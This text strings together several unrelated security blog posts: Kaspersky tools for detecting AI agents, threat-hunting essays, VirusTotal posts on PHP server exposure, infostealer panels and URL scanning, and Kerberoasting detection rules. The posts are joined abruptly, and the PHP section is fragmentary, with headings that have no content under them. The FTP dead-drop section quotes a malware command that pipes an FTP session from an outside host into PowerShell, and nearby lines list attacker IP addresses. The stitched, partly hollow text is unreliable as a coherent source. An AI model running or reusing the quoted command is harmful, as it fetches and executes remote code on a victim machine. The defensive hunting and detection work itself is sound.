The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

AI agent profiles on Kaspersky TIP

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

Claude profile on Kaspersky TIP

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Detection section in the Claude profile

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

Rules in the Hunt Hub repository

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Detection rule card in Hunt Hub

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Detection of a malicious agent skill in Kaspersky Scan Engine

Detection of an LLM with malicious code in Kaspersky Scan Engine

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Here’s a counterintuitive truth: the ultimate goal of threat hunting isn’t to find more security incidents—it’s to drive continuous improvement across your entire security program. We’re not hunting merely to find present bad; we’re hunting to decrease the probability of future bad.

Think of it like debugging. You don’t debug just to find bugs—you debug to build better software. Each bug you find teaches you something about your system, improves your testing, and makes future bugs less likely. Threat hunting works the same way.

The Cyclical Nature of Threat Hunting

Every threat hunting framework can be thought of as a cycle that improves with every revolution.

Step 1: Determine Your Focus

The biggest challenge in threat hunting? Answering this question: “Where do we even start?” You can’t just randomly poke around in logs hoping to find something interesting. You need a method to focus your efforts.

The good news is that there are several effective approaches, and you don’t have to pick just one. In fact, most mature programs blend approaches over time.

Hypothesis-driven hunting starts with an educated guess, perhaps informed by the latest threat intelligence. Maybe something like, “I bet adversaries are using scheduled tasks for persistence on our web servers.”

Baseline hunting flips the question entirely: instead of rooting around for specific threats, you map what “normal” looks like in your environment, then investigate anything that doesn’t fit the pattern.

Statistical analysis tools like RITA let you approach those patterns from yet another angle. They surface statistically weird behaviors and connections, giving you a prioritized list of anomalies to consider and maybe investigate.

Machine learning models can highlight specific events that deviate from learned baselines, essentially saying “start here” with confidence scores attached.

Step 2: Investigation

The real detective work happens here. Investigation is iterative and rarely linear. You start broad, progressively narrow your focus by filtering out known-good activity, and follow interesting patterns wherever they lead. One scheduled task leads to a user account, which leads to authentication logs, which leads to source IPs, which leads to ... you get it.

The “art” is knowing which threads to pull and which to drop. Something can be technically anomalous but contextually benign, like a DBA running weird queries at 2 AM because production is on fire.

Step 3: Discovery and Analysis

Eventually you reach a conclusion. Maybe you found a threat. Awesome! Now hand it to incident response.

But maybe, or most likely in fact, you found nothing…

Here’s the critical mindset shift: finding nothing isn’t failure. It’s validation—discovery of a different kind, even. A thorough hunt might confirm that your defenses are working and that an attack isn’t happening (win!). Or it might reveal that a detection you thought existed doesn’t, or that it’s misconfigured and wouldn’t fire even if the attack happened (also a win because now you know what to fix).

Approached with this mindset, any outcome is a win, and every hunt ultimately makes you more secure.

Step 4: Knowledge Refinement and Improvement

This is where threat hunting transforms from investigation into force multiplication. Everything you’ve learned feeds back into your security program:

• Create detection rules so you don’t have to manually hunt for the same thing again.
• Document baselines about normal behavior in your environment.
• Share knowledge with your team and the wider community (Document!).
• Generate new hypotheses for the next hunt (Back to Step 1...).
• Close visibility gaps you discovered.
• Measure and communicate your program’s value.

This phase is what makes hunting a continuous improvement engine. Each excursion expands detection coverage, deepens environmental knowledge, sharpens hunting skills, and strengthens overall security posture.

The Self-Improving Loop

The real power of this hunting “loop” is its cumulative nature. Your first few hunts might feel slow and uncertain. But knowledge accumulates. Patterns become obvious. Investigation approaches become routine. Organizations committed to sustained hunting programs often hit critical mass around 12–18 months, where value accelerates dramatically.

Remember: You’re not just looking for today’s threats. You’re building tomorrow’s defenses. Every rotation improves your skills, the program, and the rotations themselves. That’s the threat hunting flywheel.

Here's the deal: when adversaries compromise your environment, they don't float around in abstract network flows. They execute on actual systems. They touch files, spawn processes, and mess with registries.

The premise of endpoint threat hunting is simple: if an adversary wants to accomplish anything meaningful, they must eventually execute code on a host. That execution leaves traces.

The Endpoint Advantage: Depth and Context

Endpoint hunting gives you deep, contextual visibility into adversary behavior. You're not inferring what happened from network packets; you're seeing exactly what processes ran, which files were touched, and what registry keys got modified.

Consider credential theft. An adversary running Mimikatz operates entirely in host memory and local file systems. Network detection might catch the tool's delivery, but it won't see the actual credential extraction. Endpoint telemetry captures the process execution, memory access patterns, and specific API calls—providing detection plus meaningful context.

The endpoint also provides crucial user and process context that network data lacks. Suspicious PowerShell execution? Endpoint telemetry tells you which user ran it, what parent process spawned it, what command-line arguments were used, and what it created. This process tree visibility is fundamental to understanding adversary techniques and distinguishing malicious from legitimate activity.

Your Visibility Stack

Effective endpoint hunting requires comprehensive telemetry:

Sysmon is remarkably powerful. This free Microsoft utility generates detailed logs covering process creation, network connections, file changes, registry modifications, and more. When properly configured, it can provide serious, high-fidelity visibility without the EDR price tag.

PowerShell Script Block Logging captures actual commands executed in PowerShell sessions. Given how heavily adversaries rely on PowerShell, these logs are invaluable.

Windows Event Logs provide foundational telemetry. Universally available, they often contain the first indicators that something's off.

Velociraptor brings digital forensics and incident response to scale. This open-source tool lets you hunt across thousands of endpoints simultaneously, collecting artifacts and running detection queries in real-time.

Wazuh provides centralized collection and analysis of endpoint telemetry. While not as feature-rich as a commercial EDR, it aggregates logs from multiple sources, applies detection rules, and gives you a hunting interface across your environment.

EDR platforms have their place, but you don't need expensive tools to start hunting. OS-native telemetry and open-source tools get you remarkably far.

What Endpoint Hunting Misses

External C2 communications present major challenges for endpoint detections. While endpoint tools capture network connections made by processes, they don't deeply inspect connection content. An adversary using encrypted C2 channels generates connections that endpoint logs record, but the malicious nature is often only apparent through network traffic analysis.

Lateral movement patterns across your environment are tough from a purely endpoint perspective. Network monitoring provides this visibility more naturally.

Living Off the Land: The Real Challenge

Modern adversaries "live off the land," using legitimate system tools (PowerShell, WMI, certutil) for malicious purposes. These processes are inherently legitimate; that is, endpoint telemetry shows their execution, but distinguishing malicious from benign requires understanding normal patterns and identifying behavioral anomalies.

This is where endpoint hunting earns its keep. Automated signatures struggle with legitimate tools. But hunters who understand both legitimate uses and adversary abuse patterns can spot differences. Legitimate admins rarely use certutil to download files. PowerShell downloading from pastebin is unusual.

The endpoint's rich context (command-line parameters, parent processes, user context) provides the clues needed to distinguish malicious from benign.

The Endpoint Imperative

Despite limitations, endpoint threat hunting remains essential. Adversaries must execute code, access files, and modify systems. These actions occur on endpoints and generate endpoint artifacts.

The depth that endpoint data provides is unmatched. For detecting privilege escalation, credential theft, defense evasion, and persistence, endpoint hunting isn't just useful—it's necessary. These tactics involve no network activity that distinguishes them from legitimate behavior.

The question isn't whether to invest in endpoint threat hunting, but how comprehensively you can implement it. Because in the assumed breach world we inhabit, adversaries are executing on your systems right now. Endpoint hunting is how you find them.

Imagine you are a soldier on the front lines, moving through hostile terrain with only your training, tools, and instincts. That's what threat hunting in cybersecurity feels like. You're not waiting in a bunker for alarms to sound; you leave the wire, patrol the area of operations, and look for signs of the enemy before they strike.

A traditional SOC analyst is a watchtower guard: when an alarm goes off, you investigate, confirm, and respond. A threat hunter is the scout team. Your mission begins when everything appears quiet. You assume the adversary is already inside the wire, moving carefully to avoid detection, and your job is to search the terrain, uncover indicators of intrusion, and expose what automated systems miss.

The Ten Battlefield Principles of Threat Hunting

1. If you were the enemy, where would you hide? Every hunt begins by adopting the minset of the adversary—considering their objectives, prioritized systems, likely blind spots, and possible routes for remaining unseen.

2. Your job is tracking. Threat hunters scrutinize logs, processes, authentication paths, and network flows like scouts reading disturbed ground or broken vegetation. You're searching for what's out of place or subtly altered.

3. You create a hypothesis. A hypothesis defines what you expect to see if an adversary is present, giving the hunt direction and preventing aimless data trawling.

4. You move through the environment tactically. You progress methodically through hosts, logs, and authentication records, validating your hypothesis step by step, and carefully documenting your findings.

5. Intelligence guides the hunt. Threat intelligence, prior incidents, and known TTPs (tactic, techniques, and procedures) shape your approach, just as scouts rely on maps, reconnaissance, and mission briefs.

6. Your tools are your weapon systems. SIEM queries, EDR telemetry, packet captures, forensic utilities, and scripting tools are your rifles, optics, and radios. Mastery of them determines how effectively you can uncover hidden activity.

7. You respect the enemy. Adversaries are adaptive and quiet, hiding in normal traffic and shifting tactics quickly. Respect for their capability keeps you vigilant and prevents complacency.

8. When you find something, you call it in. Threat hunters identify, analyze, and escalate findings. Once hostile activity is uncovered, incident response then takes over, just as scouts report contact so their unit can quickly act.

9. The battlefield changes, and you must adapt. Technology shifts, environments evolve, and infrastructures change. Adversaries adjust accordingly, and so must you, by continuously refining techniques, revising hypotheses, and ever tuning your approach.

10. Above all, threat hunting demands a warrior mindset. Patience, curiosity, discipline, and resilience are essential. You operate in uncertainty, seek the subtle, and work where visibility is low and risk is high.

Threat hunting is not a passive role. It requires intent, stealth, and a willingness to move beyond alerts into uncertainty. By taking on the mindset of the adversary, reading the terrain, and acting with discipline, threat hunters find what the automated systems cannot.

The Pyramid of Pain: Knowing and Exploiting Your Adversary's Weak Points

The Pyramid of Pain analogy shows the hierarchy of difficulty an attacker faces when changing certain indicators and how forcing them to do so is likely to disrupt their operations.

Hash Values These are the most easily modified indicators for an adversary. A file hash changes in seconds. Hunting for hashes is like searching for footprints in loose sand.

IP Addresses Attackers replace IPs frequently because they're disposable and easily rotated. Burning an IP, in practice, disrupts nothing beyond temporary infrastructure.

Domain Names Domains require more effort to rebuild, but adversaries often maintain many of them. Forcing a domain change creates friction but doesn't significantly impair strategy.

Network and Host Artifacts These unusual processes, persistence mechanisms, registry changes, and lateral movement patterns reveal the enemy's hands-on work. Replacing them requires careful planning and technical effort, creating real operational pressure.

Tools Adversary tools like Cobalt Strike, Sliver, Impacket, and custom malware represent major investment. Exposing or disrupting them forces adversaries to retool, redesign workflows, and rebuild capabilities.

Tactics, Techniques, and Procedures TTPs are the enemy's doctrine and operational style. Disrupting TTPs applies serious pressure on them to rethink strategy, retrain operators, and redesign campaigns.

While this battlefield may be digital, the mission is the same: detect the enemy early, deny them freedom of movement, communicate new intelligence, and protect what matters before the first alarm ever sounds.

Most PHP servers don't say they are PHP

The version picture: the long tail of end-of-life PHP

• ~272K run a supported branch (8.2 to 8.5), the only branches that receive security fixes from the PHP project.
• ~758K run an end-of-life branch between 5.4 and 8.1. These branches have session.upload_progress enabled by default and no longer receive security fixes. PHP 7.4 alone accounts for ~187K IPs and PHP 5.4 for ~119K.
• ~88K run PHP 5.2 or 5.3, which predate session.upload_progress.

What runs on top, and where

Going beyond the web port

entity:ip port_service_cpe:php port_banner:"PHP/8.2.34" port_service_version[22]:"9.6p1 Ubuntu"

Adversaries run PHP too

What the VirusTotal corpus saw

What to do now

1. Patch. Upgrade to the fixed release of your branch (8.2, 8.3, 8.4 or 8.5) as soon as it is available on php.net or through your distribution.
2. Plan the EOL migration. PHP 8.1 and older no longer receive security fixes. If you are on 5.4 to 8.1, upgrade the branch or check whether your distribution or vendor ships a backport.
3. Disable upload progress until you patch. Set session.upload_progress.enabled = Off in php.ini (or the pool configuration) and reload PHP-FPM, Apache or LSAPI. It only breaks upload progress bars that rely on the feature. Community analysis suggests it may not cover every vector, so treat it as a stopgap, not a fix.
4. Filter multipart at the edge. Where an application doesn't need file uploads, block or inspect multipart/form-data requests before they reach PHP. Cloudflare shipped emergency rules to its Managed and Free rulesets on October 21, and its CTO stated that they cover known payloads, while stressing that only updating PHP fully protects a site.
5. Make sure the WAF can't be bypassed. Edge rules only help if the origin is not directly reachable. Search your own ranges in VirusTotal (for example, entity:ip port_service_cpe:php asn:<your ASN>) to find origins that expose PHP directly to the Internet.
6. Don't rely on hiding the version. expose_php = Off hides the header, not the vulnerability.

Queries used in this post

References

• PHP, Upcoming Critical PHP Security Release (October 20, 2026)
• PHP, Supported Versions and Unsupported Branches
• PHP, Downloads and PHP 8 ChangeLog
• PHP Manual, Session Upload Progress
• PHP Manual, Session runtime configuration (session.upload_progress.enabled)
• PHP Manual, Core configuration (expose_php)
• Cloudflare, WAF changelog: emergency releases of October 21, 2026
• Dane Knecht (Cloudflare CTO), statement on protections for known exploit payloads
• HD Moore, mitigation note on session.upload_progress.enabled = Off
• VirusTotal, Internet Scanning in VirusTotal: hunting infrastructure by what it exposes

What we store for every port

Searching the scanning data

entity:ip port_service_product[80]:nginx port_service_version[80]:1.24.0

entity:ip os_type[445]:Windows

entity:ip port_banner[21]:mikrotik

entity:ip port_service_cpe[22]:"cpe:/o:linux:linux_kernel"

A word about noise

Pivoting on an SSH host key: a real example

entity:ip fingerprint:"SHA256:SbF6+nFx6ngfUw2L+jsqN6uu5tdsFc5jUW849WA/Sxw"

entity:ip ssl_subject:"b4ck.my"

entity:ip ssl_subject:"b4ck.my" port_service_version[22]:"9.6p1 Ubuntu 3ubuntu13.19"

From a URL hunt to a host profile: unmasking a NOX Stealer panel on port 8443

entity:url tag:ns-port tag:password-input tag:ip

entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348 open_port:445 open_port:3389

Catching a live rebrand: NOX becomes BOMBAY

• The static HTTP response went dark, but the rendered DOM caught the new title. In the initial scan, the server returned the full 11,408-byte HTML login page directly, indexing title:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only <meta name="robots" content="noindex">, leaving the static title attribute empty. Full-browser execution, however, rendered the page and captured the new <title> in the DOM: BOMBAY STEALER - Login (with og:title and og:site_name updated to BOMBAY STEALER).
• New marketing pitch, same codebase. The updated <meta name="description"> in the rendered DOM now advertises "currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers"—even though the visible subtitle on the login card still reads "Lightweight, C++-native infostealer with automated worm propagation" word for word. Under the hood, the Tailwind CSS theme (#a855f7 / #030308), the panel_jwt session logic, and the MD5-prefixed routes (rotated from /29f69693228c27033209532b5a6a97d1/... to /3a85f1d2131fa2723ac6ade171eafacd/dashboard and /register) are identical.
• The host fingerprint didn't blink. By swapping the brand name, rotating the path hash, and hiding behind a 193-byte response, the operator broke static string queries like title:"NOX STEALER". Yet the machine on 5.175.221[.]206 didn't change a single exposed service: nginx 1.24.0 and PHP/8.3.33 on port 8443, Windows Server 2022 (10.0.20348) on port 445, and RDP on port 3389 remain untouched.

Hunting FTP banners used as dead drop resolvers

entity:ip port_banner[21]:"conhost"

start "" conhost.exe --headless cmd /c "ftp 167.148.41.164|powershell"

• The E4del chain, with dates. 157.254.194[.]31 pointing to 167.148.41[.]164 is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port 8000 and a Python SimpleHTTP server on port 8080, so it is worth keeping an eye on.
• First and second hop sit next to each other. 54.37.237[.]164 hands off to .166 and 51.89.199[.]125 to .118, both on OVH, while 185.14.92[.]162 hands off to .223 on the same ASN. Once you find a first stage, its /24 is a cheap next place to look.
• Earlier than reported. 45.87.41[.]133 was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop, 64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported.
• Still live. 54.37.237[.]164 was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.

Using it from the API

# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests

BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}

def ports(ip):
    r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
    r.raise_for_status()
    for p in r.json()["data"]["attributes"].get("port_info", []):
        svc = p.get("latest_analysis", {}).get("port_service", {})
        fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
        print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)

def search(query, limit=40):
    r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
                     params={"query": query, "limit": limit}, timeout=120)
    r.raise_for_status()
    return [d["id"] for d in r.json().get("data", [])]

ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))

What about Livehunt?

Wrapping up

Heimdal’s MXDR team flagged a surge in detections tied to a program called Shift Browser on 2 September 2026. Our team confirmed activity on more than 50 client environments in a single day. The installers we captured trace to a malvertising lure. Shift Browser also runs a documented paid creator and affiliate marketing operation, though […]

The post Shift Browser is signed adware that fingerprints your endpoint before it drops payload appeared first on Heimdal Security Blog.

Introduction

In today's fast-moving cybersecurity landscape, threat analysts must move beyond basic, binary reputation scores to successfully defend against modern, highly adaptive web threats. Traditional URL analysis has been redefined by the launch of URL Scanning 2.0, an update that significantly expands VirusTotal's URL analysis capabilities by introducing automated visits with a full browser instance and deeper historical visibility.

Instead of relying on static reputation scores alone, URL Scanning 2.0 enriches reports with "under-the-hood" headless browser telemetry, including the DOM, full-page screenshots, web technologies, and network request logs. Crucially, it introduces historical analysis pivoting, giving analysts the ability to track how a page has changed over time.

URL Scanning 2.0

To successfully defend against modern, highly adaptive web threats, threat analysts must move beyond basic, binary reputation scores. With the debut of URL Scanning 2.0, VirusTotal introduces robust headless browser integration that captures how a page behaves dynamically in a clean sandbox environment.

Every scan now generates rich, granular telemetry that provides a blueprint of the target page's execution:

- Headless Browser Data: Full-page visual screenshots, full DOM (Document Object Model) trees, and web technologies (e.g., Cloudflare, PHP, HTTP/3).

- Page and Network Statistics: Highly detailed counters of individual network requests, encrypted HTTPS transactions, unique contacted domains/subdomains, and serving IP address mappings with geographic tracking.

- Anti-Phishing Fingerprints: Automatic identification of brands, cloned-website tags, password input fields, tracker IDs, and favicon dhashes.

- Historical Pivoting: A timeline containing historical analyses of a URL with its corresponding risk score, allowing analysts to track exactly how its metadata and content have shifted over time.

Access Levels in VirusTotal

Public Access (Free for VirusTotal Users)
The core enhancements of the URL Scanning 2.0 engine are available to everyone. For the latest scan, analysts can access rich telemetry generated by headless browser execution, including visual screenshots, extracted JavaScript globals, console messages, and a list of all loaded network resources.

VirusTotal Premium Customers
For paid VirusTotal customers, the platform unlocks deeper retrospective capabilities and exclusive data fields. Analysts have the ability to pivot to and review the full historical analyses of a URL as it was observed at specific points in time, and access advanced telemetry like the full DOM captures of the execution. Furthermore, premium access unlocks advanced infrastructure relationships, allowing users to pivot on contacted domains, IPs, and downloaded files.

Note: The aforementioned Google Threat Intelligence and Automatic Brand Identification features are exclusively available to Google Threat Intelligence customers.

Investigating a Phishing Case

Initially, when an analyst navigates to the mentioned URL to view the report generated by VirusTotal, they would see something similar to the following with the new URL Scanning features:

At the top of the interface, we can see that the URL has been scanned three times. This means there are three distinct reports for the same URL, each potentially containing different information that could be highly useful for an analyst. In the top right corner, we can view these past analyses by clicking on "History".

This is where the new historical analysis pivoting comes into play: it allows analysts to travel back through a URL's timeline with point-in-time snapshots.

By clicking on "History", we can view all the historical analyses for that URL, including response codes, detections, screenshots, and other metadata. You can also apply filters to narrow down the timeline and view only the historical records you are interested in, based on specific response codes, URL actions, and other criteria.

In this case, if we click on the initial historical analysis performed on July 6, 2026 (as shown in the screenshot above), we can examine its specific information across the "Summary", "Details", and "Detection" tabs. A key feature of URL Scanning 2.0 is that the information within these report tabs will dynamically re-render to match the exact historical state of the snapshot you select.

As observed in the history timeline, after clicking on this specific analysis included a live screenshot and other relevant metadata, indicating the scan occurred while the website was fully operational and actively distributed. The previous screenshot gives us a clear view of how the phishing page was visually structured.

Furthermore, diving into the "Details" tab reveals other interesting technical artifacts from the campaign. These details are incredibly useful for pivoting and identifying new malicious URLs that share similar characteristics.

Among the wealth of information generated by URL Scanning 2.0, analysts will find HTTP transactions, detected JavaScript variables, console messages, external outbound links, and other critical metadata. These key technical markers serve as pivotable and searchable attributes, allowing teams to conduct advanced footprint hunting and instantly find other malicious URLs exhibiting the exact same technical fingerprint.

Furthermore, every snapshot taken during each analysis provides the complete Document Object Model (DOM) tree captured by the full browser instances. It allows you to inspect the exact structure of the page as it was dynamically rendered to the victim, exposing elements that static scans might miss. As can be seen in the following image, having direct access to this point-in-time DOM data empowers analysts to dig deep into the page's architecture.

Advanced Threat Hunting: Scaling the Investigation

Let's scale our investigation using VirusTotal Intelligence queries based on the artifacts discovered via URL Scanning 2.0.

During the analysis of the financial phishing site, we discovered that the page relied on static assets hosted on a third-party domain: jiaoyisuo.thai2570[.]com. We can pivot on this finding using an advanced query:

entity:url (outgoing_link:jiaoyisuo.thai2570.com OR content:jiaoyisuo.thai2570.com)

The results demonstrate a multi-brand operation, including fake cryptocurrency exchange portals and typosquatting domains for other financial services. By further pivoting on the hosting domain with entity:domain "thai2570.com", analysts can map out a highly segmented subdomain tree used for hosting assets, capturing payments, and backend control panels.

Conclusion

URL Scanning 2.0 represents a paradigm shift in how security analysts investigate web-based threats. Investigations are no longer limited to static verdicts. By surfacing powerful metadata directly inside the workflow—such as historical DOM captures, live screenshots, and pivotable technical identifiers—analysts can now turn a single indicator into a comprehensive infrastructure map.

Log in to VirusTotal to explore the new URL Scanning 2.0 features today, and consider upgrading to VirusTotal Premium to unlock the full power of historical pivoting and advanced threat hunting.

Introduction

Once the attacker has breached the corporate network, subsequent stages of the attack often involve leveraging standard domain infrastructure protocols: using Kerberos, running DNS queries, accessing internal services, opening network shares, and other common networking actions. Because this activity is virtually indistinguishable from legitimate network traffic, it is extremely difficult to detect it with traditional network attack detection tools.
Kerberoasting and DNS tunneling have long ceased to be exotic techniques. They are becoming standard methods in modern attacks because they allow attackers to execute critical compromise stages while remaining undetected by traditional security tools. A clear example of this trend is seen in latest campaigns, employing both Kerberoasting and DNS tunneling.

Traditional network security tools perform well when the attack features a distinct and identifiable indicator: a characteristic query string, a known malicious traffic pattern, or the source code of an already discovered exploit. While this approach to threat detection remains effective, it cannot always be applied to discovering network attacks that blend seamlessly with legitimate traffic inside a corporate network.

Instead of searching for explicit indicators of attack, Network Anomaly Detection (NAD) analyzes all traffic for suspicious artifacts that deviate from the host’s typical network activity. Within Kaspersky’s solution portfolio, this technology is implemented specifically in the Kaspersky Anti Targeted Attack (KATA) platform.

The system analyzes network traffic data (DNS, DCE/RPC, Kerberos and other packets) and extracts key parameters used to identify anomalous behavior. This approach enables searching for attacks on domain controllers, signs of traffic tunneling and exfiltration, C2 communications, and other scenarios that may point to compromise of network infrastructure.

However, Network Anomaly Detection is not built on a single, universal set of indicators. Each attack scenario employs tailored detection models that account for the specifics of the corresponding network protocol, typical host behavior, and characteristic deviations from that baseline. This article examines two practical examples – detecting Kerberoasting and DNS tunneling – to demonstrate how these principles are implemented in KATA’s NAD rules and why this approach proves more effective than traditional signature-based analysis.

Kerberoasting attack detection by KATA

Why standard tools have a hard time detecting Kerberoasting

The Kerberoasting attack leverages the standard operational logic of the Kerberos protocol. The attacker identifies service accounts configured with a Service Principal Name (SPN), requests a Ticket-Granting Service (TGS) ticket for them, and attempts to crack the password offline using a dictionary attack against the retrieved ticket. If the password is weak or hasn’t been changed in a long time, the adversary can bruteforce it to get it in cleartext. Subsequently, these compromised credentials can be leveraged for both vertical and horizontal movement across the network.

The essence of a Kerberoasting attack is that an adversary possessing a compromised low-privileged account and a valid Ticket-Granting Ticket (TGT) for that account can request TGS tickets with weakened encryption for service accounts with SPNs. Crucially, it doesn’t matter whether the compromised account actually holds access permissions for those services. Having obtained these tickets, the attacker can then take them offline and bruteforce the service account’s password by trying to decrypt the corresponding ticket locally, without generating any network activity. As the encryption key is based on the password hash, the adversary can guess the password upon finding the correct key.

The attacker’s objective is to find a service account that has a simple password. Most likely, this will be an account created manually by the administrators of the infrastructure or a service. This is precisely why attackers are not interested in system service accounts with SPNs (such as CIFS/fileserver.company.local); these are generated automatically and feature highly complex passwords that are impossible to bruteforce.

We should note that the TGS ticket requests made by attackers are identical to standard, legitimate requests. Every domain naturally exhibits a high volume of Kerberos traffic. Therein lies the primary challenge of detecting Kerberoasting: legitimate service ticket requests (TGS-REQ) are indistinguishable from those issued by attackers. Consequently, the primary detection method relies on correlating indirect indicators rather than signature matching. Key indicators include an anomalous request source (atypical host or user account), a surge in requested SPNs within a short time window, attempts to obtain service tickets for sensitive or privileged service accounts, and off-hour timing or unusual request volume when benchmarked against the historical profile of both the user and the host.

Most of these indicators can be detected using NAD technology, which helps analysts cut through high volumes of Kerberos traffic to establish a concrete hypothesis: who initiated the Kerberoasting attack, which service accounts are at risk, and why this activity deviates from the baseline.

In the context of this attack, the network anomaly stems from a single host – likely using a single user account (cname) – receiving TGS tickets ("msg_type": "KRB_TGS_REP") for numerous unique services with SPNs (sname) within a short timeframe. These service accounts are non-system accounts.

Example of a TGS-REQ – TGS-REP event pair from network session attributes

To detect this anomaly, the NAD rule titled “Signs of a Kerberoasting attack” implements the following logic:

1. From Kerberos network sessions during the search depth period, select only those with a successful Kerberos TGS-REP response, subject to the following conditions:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The requesting client name (cname) must not be included in the excluded users list (excl_users variable).
   • The SPN (sname) must not be excluded within the rule. System SPNs are omitted from detection logic because they exist across most corporate environments and hold no interest for adversaries in this attack vector; including them in the total count of unique SPNs could lead to predefined threshold being exceeded, triggering false positives.
2. Extract the cname (the name of the client requesting the TGS-REQ) and sname (SPN itself) from these qualifying sessions.
3. Group the sessions by the source IP address and client account name (cname), while aggregating sessions with unique SPNs.
4. Generate an alert if a single IP address using a single client account receives TGS-REP responses for N unique SPN names within the specified search depth window, where N equals or exceeds the threshold variable count_spns.
5. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

We should note that this type of logic cannot be implemented using IDS signatures. Consider creating a Suricata rule designed to detect Kerberos TGS-REP packets. To minimize false positives, we’ll exclude system SPNs (which carry highly complex passwords) and apply a threshold for the number of responses a single client can receive. However, such a rule cannot evaluate the uniqueness of the requested SPNs; it can only track packet counts. As a result, this signature would produce a high volume of false positives because any domain naturally generates large amounts of identical legitimate TGS-REP messages.

Furthermore, adding exclusions and tuning thresholds to fit your specific infrastructure environments is significantly more practical when managed through user variables in the interface rather than directly modifying the underlying structure of the IDS rule itself.

Creating a Network Anomaly Detection rule

Network Anomaly Detection (NAD) rules are written as SQL queries executed against KATA’s ClickHouse database. Below, we demonstrate how to add and deploy a rule.

To begin working with NAD rules, navigate to the “Custom rules” section of the interface and select “Intrusion detection”. Under the “Network Anomaly Detection” tab, you can create a new rule.

The Network Anomaly Detection page UI

When adding a new rule, an analyst can select an appropriate rule template from the prebuilt set supplied with product updates. They can also manually modify the rule added from the template (converting it to a custom rule while keeping the original template intact) or author a rule from scratch using the provided guide.

Upon selecting a template, the analyst can review the rule description and either adjust or leave the default values for the following settings:

• Search depth (the lookback window over which the SQL query will run)
• Schedule (the execution frequency for running the query against the specified search depth)
• Event regeneration period (the timeframe during which identical alerts will be aggregated into a single record rather than displayed as distinct events)

UI for creating a new NAD rule

To ensure the rule functions correctly, we recommend navigating to the “SQL-specific query” tab before deployment to review the variables used within the rule – a description for each variable is available by hovering over the question mark icon.

The variables are lists of IP addresses, dates, strings or numeric values that define the network infrastructure – such as domain controllers, DNS servers, time ranges, critical segments, and other entities. This allows you to tailor each rule to different network environments and incorporate specific infrastructure characteristics without modifying the underlying logic.

In our example, using variables allows you to adjust the “Signs of a Kerberoasting attack” rule as follows without altering the underlying SQL query:

• Exclude the source IP address of the TGS-REQ requests from the scope of detection logic (you can specify a single address, a subnet mask, or a dictionary containing addresses and subnets) as well as the requesting client account (accepts a single value or a dictionary with multiple values).
• Adjust the threshold value required to trigger an alert based on the number of unique SPNs in the TGS-REQ messages.

Query contents and variables used in the new rule

On this same page, you can test if the rule is functional prior to saving it.

Rule execution test results

When this rule triggers, an NDR:NAD alert is generated. In the alert card, the analyst can review basic information: IP addresses, ports, and participating network endpoints.

